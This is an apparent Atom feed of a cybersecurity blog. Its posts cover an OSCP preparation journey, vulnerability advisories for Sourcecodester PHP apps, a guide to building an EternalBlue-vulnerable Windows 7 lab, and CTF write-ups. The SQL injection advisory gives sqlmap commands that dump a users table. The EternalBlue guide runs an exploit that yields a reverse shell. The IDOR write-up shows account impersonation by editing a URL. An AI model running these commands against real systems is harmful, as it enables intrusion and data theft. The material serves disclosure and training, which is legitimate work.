<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://blu3ming.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blu3ming.github.io/" rel="alternate" type="text/html" /><updated>2026-03-20T19:47:45+00:00</updated><id>https://blu3ming.github.io/feed.xml</id><title type="html">Blu3ming | Blog</title><subtitle>Blog about cybersecurity. Scripts, Writeups and Reviews from machines and certifications.</subtitle><author><name>Blu3ming</name></author><entry><title type="html">Sourcecodester Student Grades Management System Using PHP and MySQL v1.0 – Stored Cross-Site Scripting (XSS)</title><link href="https://blu3ming.github.io/sourcecodester-student-grades-management-system-xss/" rel="alternate" type="text/html" title="Sourcecodester Student Grades Management System Using PHP and MySQL v1.0 – Stored Cross-Site Scripting (XSS)" /><published>2026-03-20T00:00:00+00:00</published><updated>2026-03-20T00:00:00+00:00</updated><id>https://blu3ming.github.io/sourcecodester-student-grades-management-system-xss</id><content type="html" xml:base="https://blu3ming.github.io/sourcecodester-student-grades-management-system-xss/"><![CDATA[<h2 id="details">Details:</h2>
<ul>
  <li>Date: 20-03-2026</li>
  <li>Affected Version: v1.0</li>
  <li>Vendor Homepage: <a href="https://www.sourcecodester.com/">https://www.sourcecodester.com/</a></li>
  <li>Vendor Notification: 20-03-2026</li>
  <li>Advisory Publication: 20-03-2026 (with no technical details)</li>
  <li>Public Disclosure: N/A</li>
  <li>Software Link: <a href="https://www.sourcecodester.com/php/18408/student-grades-management-system-using-html-css-and-javascript-source-code.html">https://www.sourcecodester.com/php/18408/student-grades-management-system-using-html-css-and-javascript-source-code.html</a></li>
  <li>CVE Assigned: Pending</li>
  <li>Author: Josué Mier (aka blu3ming)</li>
</ul>

<h2 id="description">Description:</h2>
<p>Stored Cross-Site Scripting (XSS) is a vulnerability where malicious scripts are permanently stored on the target server (in databases, message forums, comment fields, etc.) and executed when other users retrieve the stored data. Unlike reflected XSS, the malicious payload persists and affects multiple victims without requiring them to click a malicious link. The attack occurs when user input is saved without proper sanitization and later rendered in other users’ browsers without adequate output encoding.</p>
<h2 id="affected-locations">Affected Locations:</h2>
<p>Complete information regarding the vulnerability will be revealed once the vendor supplies a patch</p>

<h2 id="proof-of-concept">Proof of Concept:</h2>
<p>Complete information regarding the vulnerability will be revealed once the vendor supplies a patch</p>]]></content><author><name>Blu3ming</name></author><category term="CVE" /><category term="Report" /><category term="XSS" /><category term="cve" /><category term="xss" /><summary type="html"><![CDATA[Report for a Stored Cross-Site Scripting (XSS) vulnerability found on Sourcecodester Student Grades Management System using PHP and MySQL v1.0]]></summary></entry><entry><title type="html">Beyond Try Harder: My OSCP Preparation Journey</title><link href="https://blu3ming.github.io/oscp-preparation-journey/" rel="alternate" type="text/html" title="Beyond Try Harder: My OSCP Preparation Journey" /><published>2026-02-02T00:00:00+00:00</published><updated>2026-02-02T00:00:00+00:00</updated><id>https://blu3ming.github.io/oscp-preparation-journey</id><content type="html" xml:base="https://blu3ming.github.io/oscp-preparation-journey/"><![CDATA[<h1 id="index">Index</h1>
<ul>
  <li><a href="#background">Background</a></li>
  <li><a href="#preparation">Preparation</a>
    <ul>
      <li><a href="#the-official-offsec-course-pen-200">The Official OffSec Course (PEN-200)</a></li>
      <li><a href="#proving-grounds-the-real-game-changer">Proving Grounds: The Real Game Changer</a>
        <ul>
          <li><a href="#round-one-facing-reality">Round One: Facing Reality</a></li>
          <li><a href="#round-two-refinement">Round Two: Refinement</a></li>
          <li><a href="#round-three-mastery">Round Three: Mastery</a></li>
        </ul>
      </li>
      <li><a href="#oscp-challenge-labs">OSCP Challenge Labs</a></li>
    </ul>
  </li>
  <li><a href="#exam-day">Exam Day</a></li>
  <li><a href="#the-results">The Results</a></li>
  <li><a href="#final-tips">Final Tips</a></li>
</ul>

<p>A couple of weeks ago, I completed one of the most significant milestones of my professional life. After years of putting it off, the opportunity finally arrived to take the most prestigious exam for many in the pentesting world: the <strong>OSCP</strong>.</p>

<p>This certification proves your ability for “out-of-the-box” reasoning and working under pressure. You aren’t just fighting the technical challenges; you’re fighting the clock (with 24 hours to complete the exam) and the psychological weight of being proctored via webcam. (Spoiler alert: You actually <em>do</em> have enough time to eat, sleep, and function normally if you manage it well).</p>

<p>After several hours of testing different attacks and techniques, I passed the exam in 16 hours with a <strong>perfect score of 100</strong>. Because of this, I decided to put together this post to share my preparation strategy. It’s important to note that this isn’t a “review” of the exam itself, but rather a breakdown of my action plan and my preparation process (which, in hindsight, was probably more than necessary).</p>

<h1 id="background">Background</h1>
<p>About seven years ago, I discovered <strong>HackTheBox (HTB)</strong>. Back then, you had to complete a web “hacking” challenge just to create an account. That specific challenge was eventually retired but preserved for posterity as the initial access vector for the machine <a href="https://www.hackthebox.com/machines/twomillion">TwoMillion</a>, released to celebrate HTB’s two million users.</p>

<p>During that time, I learned the ropes of CTF-style pentesting from content creators like <a href="https://www.youtube.com/@s4vitar">S4vitar</a> and <a href="https://www.youtube.com/@ippsec">IppSec</a>. Both held the OSCP, and I set a goal for myself: one day, I would earn it too. After years of solving machines on platforms like HTB and TryHackMe (THM), and earning intermediate certifications like eJPT, eCPPT, and PNPT, I knew I was ready. The final push came when my employer provided me with a <strong>Learn Enterprise</strong> membership, which included an exam attempt, and I decided to make the most of it.</p>

<h1 id="preparation">Preparation</h1>
<h2 id="the-official-offsec-course-pen-200">The Official OffSec Course (PEN-200)</h2>
<p>After years of learning initial access techniques, web app hacking, service enumeration, and privilege escalation for both Windows and Linux, I was somewhat skeptical about what the official course could offer me. Still, I decided to review it.</p>

<p>I followed the <a href="https://help.offsec.com/hc/en-us/articles/15541765522196-OffSec-PEN-200-Learning-Plan-12-Week">Official 12-week Learning Plan</a>, but upon reaching Topic 16, I decided to better focus on solving machines. Since I already had years of experience, the subsequent topics (PrivEsc, AD attacks, etc.) didn’t offer much new information for my specific case.</p>

<blockquote>
  <p><strong>Note:</strong> If you are just starting out, I <strong>highly recommend</strong> completing the entire course. It teaches fundamental skills and specific “OffSec-style” methodologies that are vital for the exam.</p>
</blockquote>

<h2 id="proving-grounds-the-real-game-changer">Proving Grounds: The Real Game Changer</h2>
<p>I didn’t feel comfortable going into the exam without specific practice, so I pivoted from the course material to grinding machines on <strong>OffSec Proving Grounds (PG)</strong>. OffSec themselves highlight a strong correlation between the number of PG machines solved and the OSCP pass rate.</p>

<p><img src="/assets/images/oscp-prep/1.png" alt="1" />
<em>Source: <a href="https://help.offsec.com/hc/en-us/articles/4406841351316-PEN-200-Onboarding-A-Learner-Introduction-Guide-to-the-OSCP">PEN-200 Onboarding - A Learner Introduction Guide to the OSCP+</a></em></p>

<p>Trust me, those numbers don’t lie. During my prep, I solved <strong>88 machines and 5 Challenge Labs</strong>. In my opinion, this was the most valuable part of my journey. I combined the famous lists from <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview">TJNull</a> and <a href="https://docs.google.com/spreadsheets/d/18weuz_Eeynr6sXFQ87Cd5F0slOj9Z6rt/edit?gid=487240997#gid=487240997">Lainkusanagi</a>, focusing exclusively on Proving Grounds. Why? Because PG is owned by OffSec. If you want to pass an OffSec exam, study the machines built by the same people who design the exam.</p>

<h3 id="round-one-facing-reality">Round One: Facing Reality</h3>
<p>I created a spreadsheet to track my progress, categorizing machines by OS, source list, and difficulty. Most importantly, I tracked my “Success Rate”.</p>

<blockquote>
  <p><strong>NOTE:</strong> I have blurred my internal notes for each machine to avoid any spoilers regarding their resolution.</p>
</blockquote>

<p><strong>“Achieved?” column:</strong></p>
<ol>
  <li><strong>Yes:</strong> Solved without any help.</li>
  <li><strong>More or Less:</strong> Needed a small hint from Discord to get unstuck.</li>
  <li><strong>No:</strong> Needed a full write-up or multiple hints.</li>
</ol>

<p><img src="/assets/images/oscp-prep/2.png" alt="2" /></p>

<p>My goal was to solve at least two machines a day after work, treating them like a real exam (no outside help, only my notes and Google). If I couldn’t progress after two hours, I’d look for a hint.</p>

<p><strong>Round One Results:</strong></p>
<ul>
  <li><strong>Linux (63 machines):</strong> ~60% success rate.</li>
  <li><strong>Windows (20 machines):</strong> Slightly below 50%.</li>
  <li><strong>Active Directory (5 machines):</strong> Only 1 out of 5 solved without help.</li>
</ul>

<p><img src="/assets/images/oscp-prep/3.png" alt="3" /></p>

<p>I’m showing you these “failures” for a reason. For a long time, I postponed this exam because I didn’t feel “good enough.” Even on “Easy” HTB machines, I often felt lost. If you are in that position now, don’t give up. <strong>Struggling during practice is where the real learning happens.</strong></p>

<h3 id="round-two-refinement">Round Two: Refinement</h3>
<p>I went back and tackled every machine marked “More or Less” or “No.” This included 23 Linux, 8 Windows, and 3 AD machines. I used the same strict rules as before.</p>

<blockquote>
  <p><strong>Note:</strong> Some machines were excluded from this round for various reasons, either they weren’t working correctly or were considered significantly more difficult than the actual exam.</p>
</blockquote>

<p><img src="/assets/images/oscp-prep/4.png" alt="4" /></p>

<p>The results showed a massive improvement. My notes were becoming more robust, and my “intuition” for finding vulnerabilities was sharpening.</p>

<h3 id="round-three-mastery">Round Three: Mastery</h3>
<p>Finally, I revisited the remaining handful of machines that still gave me trouble. By this round, 100% of the machines were solved without any external help.</p>

<h2 id="oscp-challenge-labs">OSCP Challenge Labs</h2>
<p>To wrap up, I tackled the official Challenge Labs: <strong>Secura, Medtech, and OSCP A, B, and C.</strong></p>

<p>I completed <strong>Secura</strong> and <strong>Medtech</strong> normally, not as mock exams, but as environments to practice my skills. I only needed one hint for Medtech; the rest of the infrastructure was manageable.</p>

<p>On the other hand, I treated <strong>OSCP A, B, and C</strong> as “Mock Exams.” I gave myself a 24-hour limit for each, using only my notes and Google. Based on the <a href="https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide">official</a> 100-point scale (40 for AD, 20 for each Standalone), these were my mock scores:</p>

<ul>
  <li><strong>OSCP A:</strong> 70 points</li>
  <li><strong>OSCP B:</strong> 80 points</li>
  <li><strong>OSCP C:</strong> 30 points</li>
</ul>

<p>That 30 on the final lab was a reality check. It bruised my confidence, but it forced me to fill the gaps in my notes one last time.</p>

<h1 id="exam-day">Exam Day</h1>
<p>I scheduled my exam for 8:00 AM to maximize my daylight hours. I had a clean, updated Kali VM with snapshots ready and the following “battle kit” in my <code class="language-plaintext highlighter-rouge">/opt</code> directory:</p>

<ul>
  <li><strong>Windows:</strong> winPEAS, PowerUp.ps1, etc.</li>
  <li><strong>Linux:</strong> linPEAS, linEnum, pspy.</li>
  <li><strong>Pivoting:</strong> <a href="https://github.com/nicocha30/ligolo-ng/releases">Ligolo-ng</a> (Since the Challenge Labs required pivoting into internal networks, I had my ligolo agent and proxy binaries ready).</li>
  <li><strong>Shells:</strong> <a href="https://github.com/brightio/penelope">Penelope</a> (for stable reverse shells).</li>
</ul>

<p>Following advice from <a href="https://medium.com/@williamchew85">William Chew</a>, I also organized my workspaces to avoid confusion:</p>

<ul>
  <li><strong>Desktop 1:</strong> VPN, pivoting, and Python web servers.</li>
  <li><strong>Desktop 2:</strong> Active Directory.</li>
  <li><strong>Desktop 3-5:</strong> Standalone machines 1, 2, and 3.</li>
</ul>

<p><img src="/assets/images/oscp-prep/5.png" alt="5" /></p>

<p>I took this idea from his <a href="https://medium.com/@williamchew85/pwned-oscp-in-two-months-7d4d5c9527ce">Medium review for the OSCP</a>. He also mentions other interesting features for exam day that you might want to check out.</p>

<h1 id="the-results">The Results</h1>
<p>I reached the passing threshold (70 points) within 7 hours. By the 10-hour mark, I had 80 points. The final machine was a beast, unlike anything I had seen. I spent 6 hours banging my head against it, testing technique after technique. Finally, at midnight, the root shell popped.</p>

<p>I spent the next hour ensuring my screenshots were perfect, thanked the proctor, and went to sleep with <strong>100 points</strong> in the bag. The next day, I wrote my report and submitted it. The “Pass” email arrived the following evening.</p>

<p><img src="/assets/images/oscp-prep/6.png" alt="6" /></p>

<h1 id="final-tips">Final Tips</h1>
<ul>
  <li><strong>Preparation is everything:</strong> Don’t just “do” machines; understand <em>why</em> they work.</li>
  <li><strong>Build a God-tier Cheatsheet:</strong> My notes are the result of 7 years of learning. Having every command indexed and ready was my biggest advantage.</li>
</ul>

<p><img src="/assets/images/oscp-prep/7.png" alt="7" /></p>

<ul>
  <li><strong>Watch out for Tunnel Vision:</strong> If you’re stuck for two hours, walk away. Take a shower, eat, or anything that makes you feel happy. Fresh eyes find shells.</li>
  <li><strong>Trust the Process:</strong> You know more than you think you do. The struggle you feel during prep is exactly what builds the skills to pass the exam.</li>
  <li><strong>The “Brain Dump” Technique:</strong> If you think you’ve tried everything, take a breath, reset the machine, and <strong>write down in your notes everything you have done so far.</strong> Venting your ideas onto paper can help you see paths you missed or tests you skipped due to stress.</li>
</ul>

<hr />

<p><strong>Disclaimer:</strong> OSCP® and OffSec® are registered trademarks of OffSec Services LLC. This blog post is not affiliated with, sponsored by, or endorsed by OffSec. All references to course names, certifications, and logos are used for informational and educational purposes only. The views and experiences expressed here are entirely my own.</p>]]></content><author><name>Blu3ming</name></author><category term="OSCP" /><category term="Certifications" /><category term="OffSec" /><category term="offsec" /><category term="proving-grounds" /><category term="oscp" /><category term="preparation" /><category term="study" /><summary type="html"><![CDATA[A couple of weeks ago, I completed one of the most significant milestones of my professional life. I decided to put together this post to share my preparation strategy.]]></summary></entry><entry><title type="html">How to create a vulnerable Windows 7 Machine for Eternalblue</title><link href="https://blu3ming.github.io/windows-7-eternalblue/" rel="alternate" type="text/html" title="How to create a vulnerable Windows 7 Machine for Eternalblue" /><published>2024-02-27T00:00:00+00:00</published><updated>2024-02-27T00:00:00+00:00</updated><id>https://blu3ming.github.io/windows-7-eternalblue</id><content type="html" xml:base="https://blu3ming.github.io/windows-7-eternalblue/"><![CDATA[<h1 id="index">Index</h1>
<ul>
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#what-we-need">What we need</a></li>
  <li><a href="#opening-the-necessary-ports">Opening the necessary ports</a></li>
  <li><a href="#allowing-icmp-traces">Allowing ICMP traces</a></li>
  <li><a href="#testing-our-configuration-so-far">Testing our configuration so far</a></li>
  <li><a href="#creating-a-named-pipe">Creating a named pipe</a></li>
  <li><a href="#bonus-updating-the-windows-machine">BONUS: Updating the Windows machine</a></li>
</ul>

<h2 id="introduction">Introduction</h2>
<p>In the realm of cybersecurity testing, understanding vulnerabilities and their potential exploits is paramount. One such vulnerability, EternalBlue, gained notoriety for its role in the global WannaCry ransomware attack. This article serves as a guide to intentionally create a Windows 7 machine susceptible to EternalBlue exploits for testing and research purposes.</p>

<h2 id="what-we-need">What we need:</h2>
<ul>
  <li>A virtual machine running a freshly installed 64-bit Windows 7 system (the version is irrelevant) Note: this tutorial will not cover how to create or install a virtual machine.</li>
  <li>Download this Security Update for Windows 7 for x64-based Systems: https://www.microsoft.com/en-us/download/details.aspx?id=47442</li>
  <li>These steps can be followed regardless of whether the virtual machine is running on VirtualBox or VMWare, as the configuration is done within the operating system.</li>
</ul>

<h2 id="opening-the-necessary-ports">Opening the necessary ports:</h2>
<p>Since EternalBlue exploits a vulnerability in the Windows SMB service, we need to expose port 445 for both inbound and outbound connections. To do this, we go to Start and search for “Windows Firewall with Advanced Security”:</p>

<p><img src="/assets/images/windows-7-eternalblue/1.png" alt="1" /></p>

<p>Select “Inbound Rules” and then “New Rule”:</p>

<p><img src="/assets/images/windows-7-eternalblue/2.png" alt="2" /></p>

<p>Select “Port”:</p>

<p><img src="/assets/images/windows-7-eternalblue/3.png" alt="3" /></p>

<p>Select “TCP” and enter port 445:</p>

<p><img src="/assets/images/windows-7-eternalblue/4.png" alt="4" /></p>

<p>Allow the connection:</p>

<p><img src="/assets/images/windows-7-eternalblue/5.png" alt="5" /></p>

<p>Make sure all three checkboxes are selected, and then click on Next:</p>

<p><img src="/assets/images/windows-7-eternalblue/6.png" alt="6" /></p>

<p>Finally, give the rule any name you prefer, and click on Finish:</p>

<p><img src="/assets/images/windows-7-eternalblue/7.png" alt="7" /></p>

<p>Repeat the same procedure, this time creating an outbound rule. Remember to allow the connection when asked:</p>

<p><img src="/assets/images/windows-7-eternalblue/8.png" alt="8" /></p>

<p><img src="/assets/images/windows-7-eternalblue/9.png" alt="9" /></p>

<h2 id="allowing-icmp-traces">Allowing ICMP traces</h2>
<p>Since we’ll need to send pings to the machine from our Kali or attacker machine to verify its IP and ensure it’s active, we must enable the acceptance of such requests and ensure they’re not blocked by the firewall. To do this, while still inside “Windows Firewall with Advanced Security”, within both the inbound rules and outbound rules, we search for these 4 entries:</p>
<ul>
  <li>File and Printer Sharing (Echo Request - ICMPv4-In), Profile: Private, Public</li>
  <li>File and Printer Sharing (Echo Request - ICMPv4-In), Profile: Domain</li>
  <li>File and Printer Sharing (Echo Request - ICMPv6-In), Profile: Private, Public</li>
  <li>File and Printer Sharing (Echo Request - ICMPv6-In), Profile: Domain</li>
</ul>

<p><img src="/assets/images/windows-7-eternalblue/10.png" alt="10" /></p>

<p>In each of them, right-click and select “Enable Rule”:</p>

<p><img src="/assets/images/windows-7-eternalblue/11.png" alt="11" /></p>

<p>In the end, all 4 should look like this, with a green checkmark at the beginning of each one.</p>

<p><img src="/assets/images/windows-7-eternalblue/12.png" alt="12" /></p>

<p>Remember to follow the same procedure, now in the Outbound Rules.</p>

<p><img src="/assets/images/windows-7-eternalblue/13.png" alt="13" /></p>

<h2 id="testing-our-configuration-so-far">Testing our configuration so far</h2>
<p>We will now proceed to test our configuration from our attacker machine (remember, both machines should be on the same network segment to communicate with each other).</p>

<p>Firstly, we launch a ping to the machine and observe how it responds successfully:</p>

<p><img src="/assets/images/windows-7-eternalblue/14.png" alt="14" /></p>

<p>Now, using crackmapexec, we verify that the SMB service is enabled on the machine:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crackmapexec smb &lt;IP&gt;
</code></pre></div></div>

<p><img src="/assets/images/windows-7-eternalblue/15.png" alt="15" /></p>

<p>At this point, the machine will be vulnerable to EternalBlue, and we can verify this by launching Metasploit against the machine using the module <code class="language-plaintext highlighter-rouge">windows/smb/ms17_010_eternalblue</code>.</p>

<p>Note how we haven’t needed to disable either the firewall entirely or Windows Defender.</p>

<p><img src="/assets/images/windows-7-eternalblue/16.png" alt="16" /></p>

<p>However, there are some exploits like <a href="https://github.com/3ndG4me/AutoBlue-MS17-010">AutoBlue</a> that additionally require the victim machine to have a named pipe to which to connect to exploit the vulnerability.</p>

<p><img src="/assets/images/windows-7-eternalblue/18.png" alt="18" /></p>

<p>If our goal is to exploit EternalBlue manually without relying on Metasploit, then we move on to the next step.</p>

<h2 id="creating-a-named-pipe">Creating a named pipe</h2>
<p>Named pipes are a mechanism used by Windows for inter-process communication, allowing processes to communicate with each other locally or over a network. EternalBlue utilizes a named pipe to send specially crafted packets to the SMB service, triggering a buffer overflow and enabling remote code execution on the target system.</p>

<p>To create a named pipe, we need to enter the registry editor. To do this, go to Start and search for <code class="language-plaintext highlighter-rouge">regedit</code>:</p>

<p><img src="/assets/images/windows-7-eternalblue/17.png" alt="17" /></p>

<p>Within the registry editor, navigate to : <code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters</code> and look for the entry <code class="language-plaintext highlighter-rouge">NullSessionPipes</code>. Right-click and select Modify:</p>

<p><img src="/assets/images/windows-7-eternalblue/19.png" alt="19" /></p>

<p>Enter the name of a Windows named pipe. In this case, we put <code class="language-plaintext highlighter-rouge">samr</code>.</p>

<p><img src="/assets/images/windows-7-eternalblue/20.png" alt="20" /></p>

<p>Validate that our named pipe is accessible by rerunning the AutoBlue checker. Note how our entry now appears:</p>

<p><img src="/assets/images/windows-7-eternalblue/21.png" alt="21" /></p>

<p>Finally, if we run the AutoBlue exploit, we see how it now uses our named pipe and returns a reverse shell to the system. To do this, first, we need to modify the <code class="language-plaintext highlighter-rouge">mysmb.py</code> script that comes with AutoBlue. On line 89, remove the encode from the <code class="language-plaintext highlighter-rouge">data</code> variable:</p>

<p><img src="/assets/images/windows-7-eternalblue/22.png" alt="22" /></p>

<p>Now, we can execute the exploit (you may need to restart the Windows machine if the exploit doesn’t work at first):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python2.7 zzz_exploit.py &lt;IP&gt;
</code></pre></div></div>

<p><img src="/assets/images/windows-7-eternalblue/23.png" alt="23" /></p>

<p>Again, we haven’t needed to disable either the firewall entirely or Windows Defender.</p>

<p>Now you can create a snapshot of this machine to run the exploit as many times as you want. Just remember to restart it first if you have already executed the exploit so that it is ready again.</p>

<h2 id="bonus-updating-the-windows-machine">BONUS: Updating the Windows machine</h2>
<p>If you plan to run other tools within the machine such as Chisel or Mimikatz, you should know that a fresh installation of Windows 7 may encounter errors when trying to execute some tools, such as the following error:</p>

<p><img src="/assets/images/windows-7-eternalblue/24.png" alt="24" /></p>

<p>To resolve this, you will need to download and install the Security Update for Windows 7 for x64-based Systems from: <a href="https://www.microsoft.com/en-us/download/details.aspx?id=47442">https://www.microsoft.com/en-us/download/details.aspx?id=47442</a></p>

<p>Once installed, you shouldn’t encounter any more issues.</p>

<p><img src="/assets/images/windows-7-eternalblue/25.png" alt="25" /></p>]]></content><author><name>Blu3ming</name></author><category term="Windows" /><category term="Eternalblue" /><category term="DIY" /><category term="ms17-010" /><category term="windows7" /><category term="vmware" /><category term="eternalblue" /><summary type="html"><![CDATA[Learn how to create a vulnerable Windows 7 machine for your lab, so you can test and exploit the Eternalblue vulnerability.]]></summary></entry><entry><title type="html">Sourcecodester Employee Management System using PHP and MySQL v1.0 - SQL Injection</title><link href="https://blu3ming.github.io/sourcecodester-employee-management-system-sql-injection/" rel="alternate" type="text/html" title="Sourcecodester Employee Management System using PHP and MySQL v1.0 - SQL Injection" /><published>2024-01-27T00:00:00+00:00</published><updated>2024-01-27T00:00:00+00:00</updated><id>https://blu3ming.github.io/sourcecodester-employee-management-system-sql-injection</id><content type="html" xml:base="https://blu3ming.github.io/sourcecodester-employee-management-system-sql-injection/"><![CDATA[<h2 id="details">Details:</h2>
<ul>
  <li>Date: 27-01-2024</li>
  <li>Affected Version: v1.0</li>
  <li>Vendor Homepage: <a href="https://www.sourcecodester.com/">https://www.sourcecodester.com/</a></li>
  <li>Vendor Notification: 27-01-2024</li>
  <li>Advisory Publication: 27-01-2024 (with no technical details)</li>
  <li>Public Disclosure: 27-02-2024</li>
  <li>Software Link: <a href="https://www.sourcecodester.com/php/16999/employee-management-system.html">https://www.sourcecodester.com/php/16999/employee-management-system.html</a></li>
  <li>CVE Assigned: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25239">CVE-2024-25239</a></li>
  <li>Author: Josué Mier (aka blu3ming)</li>
</ul>

<h2 id="description">Description:</h2>
<p>SQL injection is a type of cyber attack where attackers exploit vulnerabilities in input fields of web applications to insert malicious SQL code. By doing so, they can gain unauthorized access to databases, steal sensitive data, or even manipulate database contents. Preventative measures, such as input validation and parameterized queries, are essential for protecting against SQL injection attacks and maintaining database security.</p>
<h2 id="affected-locations">Affected Locations:</h2>
<ul>
  <li><code class="language-plaintext highlighter-rouge">http://localhost/employee_akpoly/Account/login.php</code>, txtemail parameter</li>
  <li>emloyee_akpoly/Account/login.php, Line 18</li>
</ul>

<h2 id="proof-of-concept">Proof of Concept:</h2>
<p>As observed in the screenshot below, when we send a SQL query with a time delay in the “txtemail” field for the Employees’ login portal, the web application takes the established time (10 seconds) to return a response, suggesting a potential time-based blind SQL injection vulnerability.</p>

<p><img src="/assets/images/employee-management-system/1.png" alt="1" /></p>

<p>Once this indication of a potential SQL injection is found, we proceed to dump database-related information using the sqlmap tool. Next, we attempt to find the database name with the following command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sqlmap "http://localhost/employee_akpoly/Account/login.php" --data="txtemail=email&amp;txtpassword=pass&amp;btnlogin=" --flush-session --level=5 --risk=3 --dbs
</code></pre></div></div>

<p>We observe that it is also susceptible to boolean-based blind SQL injection.</p>

<p><img src="/assets/images/employee-management-system/2.png" alt="2" /></p>

<p>Once the database name is found, we proceed to dump the tables:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sqlmap "http://localhost/employee_akpoly/Account/login.php" --data="txtemail=test&amp;txtpassword=test&amp;btnlogin=" --flush-session --level=5 --risk=3 -D employee_akpoly --tables
</code></pre></div></div>

<p><img src="/assets/images/employee-management-system/3.png" alt="3" /></p>

<p>Subsequently, we dump all the information from the “users” table:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sqlmap "http://localhost/employee_akpoly/Account/login.php" --data="txtemail=test&amp;txtpassword=test&amp;btnlogin=" --flush-session --level=5 --risk=3 -D employee_akpoly -T users --dump
</code></pre></div></div>

<p><img src="/assets/images/employee-management-system/4.png" alt="4" /></p>]]></content><author><name>Blu3ming</name></author><category term="CVE" /><category term="Report" /><category term="SQLi" /><category term="cve" /><category term="sqli" /><summary type="html"><![CDATA[Report for a SQL Injection vulnerability found on Sourcecodester Employee Management System using PHP and MySQL v1.0]]></summary></entry><entry><title type="html">Neighbour Room - TryHackMe</title><link href="https://blu3ming.github.io/neighbour-writeup/" rel="alternate" type="text/html" title="Neighbour Room - TryHackMe" /><published>2022-12-06T00:00:00+00:00</published><updated>2022-12-06T00:00:00+00:00</updated><id>https://blu3ming.github.io/neighbour-writeup</id><content type="html" xml:base="https://blu3ming.github.io/neighbour-writeup/"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>The Neighbor room can be found at <a href="https://tryhackme.com/room/neighbour">TryHackMe</a>. It is a very easy machine for those people who just entered the world of cybersecurity and that allows them to understand concepts such as code review and what an IDOR is.</p>

<p>We will solve the room step by step until obtaining the requested flag, explaining in detail each aspect of the process for those who are just starting out in this world.</p>

<p>It is a room where there is only one web application that we must compromise in order to obtain the flag, so there will be no recognition or scanning stages.</p>

<h1 id="index">Index</h1>
<ul>
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#index">Index</a></li>
  <li><a href="#web-service">Web service</a></li>
  <li><a href="#reviewing-source-code">Reviewing source code</a></li>
  <li><a href="#idor-insecure-direct-object-reference">IDOR (Insecure Direct Object Reference)</a></li>
</ul>

<h1 id="web-service">Web service</h1>
<p>TryHackMe tells us that we should go to the website http://10.10.151.197, there, we can see a login portal as shown above:</p>

<p><img src="/assets/images/neighbor/1.png" alt="1" /></p>

<h1 id="reviewing-source-code">Reviewing source code</h1>
<p>As we can see, the same portal tells us that if we want to log in as a <strong>guest</strong> user, we must type the <strong>Ctrl+U</strong> shortcut. This shortcut is used to view the source code of the website, something that should always be reviewed when carrying out an assessment of a website, as developers can often leave relevant information about the service in comments.</p>

<p>When reviewing the source code, we found the following:</p>

<p><img src="/assets/images/neighbor/2.png" alt="2" /></p>

<p>Near the end of the source code, we see a comment that includes the <strong>guest</strong> user’s credentials and information about another user on the system called <strong>admin</strong>.</p>

<p>If we login with guest’s credentials, we can see how the website welcomes us:</p>

<p><img src="/assets/images/neighbor/3.png" alt="3" /></p>

<h1 id="idor-insecure-direct-object-reference">IDOR (Insecure Direct Object Reference)</h1>
<p>When doing an assessment of a web application, something else to check is how information is sent to the site through parameters in the URL. Notice how the URL has the following format:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://10.10.151.197/profile.php?user=guest
</code></pre></div></div>

<p>As we can see, the name of the logged in user is being sent through the user parameter in the URL. What would happen if we modified this value to another user we already know? Remember that we had already seen another user called <strong>admin</strong>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://10.10.151.197/profile.php?user=admin
</code></pre></div></div>

<p><img src="/assets/images/neighbor/4.png" alt="4" /></p>

<p>Now the web application thinks we are the <strong>admin</strong> user and we are able to retrieve the flag. What just happened is that we have taken advantage of a vulnerability known as <strong>IDOR</strong>, which is a type of access control vulnerability.</p>

<p>This can occur when a web server receives user-supplied input to retrieve objects (like files, data, documents), and it is not validated on the server-side to confirm the requested object belongs to the user requesting it. In this case, we have requested access as another user, and on the server-side it is not validated that we really have the permissions or that we have previously authenticated as that user.</p>]]></content><author><name>Blu3ming</name></author><category term="Comunidad" /><category term="Blog" /><category term="Writeup" /><category term="code" /><category term="idor" /><summary type="html"><![CDATA[This is a very easy room for beginners. However, we are going to resolve it step by step, learning about code review and the IDOR vulnerability.]]></summary></entry><entry><title type="html">Máquina Mr Robot CTF - TryHackMe (OSCP Style) (Offensive Pentesting Path)</title><link href="https://blu3ming.github.io/maquina-mrrobot-1-walkthrough/" rel="alternate" type="text/html" title="Máquina Mr Robot CTF - TryHackMe (OSCP Style) (Offensive Pentesting Path)" /><published>2022-07-21T00:00:00+00:00</published><updated>2022-07-21T00:00:00+00:00</updated><id>https://blu3ming.github.io/maquina-mrrobot-1-walkthrough</id><content type="html" xml:base="https://blu3ming.github.io/maquina-mrrobot-1-walkthrough/"><![CDATA[<h1 id="introducción">Introducción</h1>
<p>La máquina se encuentra en <a href="https://tryhackme.com/room/mrrobot">TryHackMe</a>. Es una máquina Linux temática de Mr. Robot, la serie de televisión, y de esto podremos percatarnos al momento de acceder al servicio HTTP, donde tendremos una terminal y videos de la serie.</p>

<p>En mi opinión, presenta un enorme problema para tratarse de una máquina Beginner y CTF, y es que uno de los pasos consiste en realizar un Brute Forcing a un login con un diccionario que nos proporcionan con más de 850,000 entradas, el cual tardaría horas en ser completado en un equipo básico como el mío, razón por la cual llegó un punto en el que no sabía si estaba yendo por el camino correcto.</p>

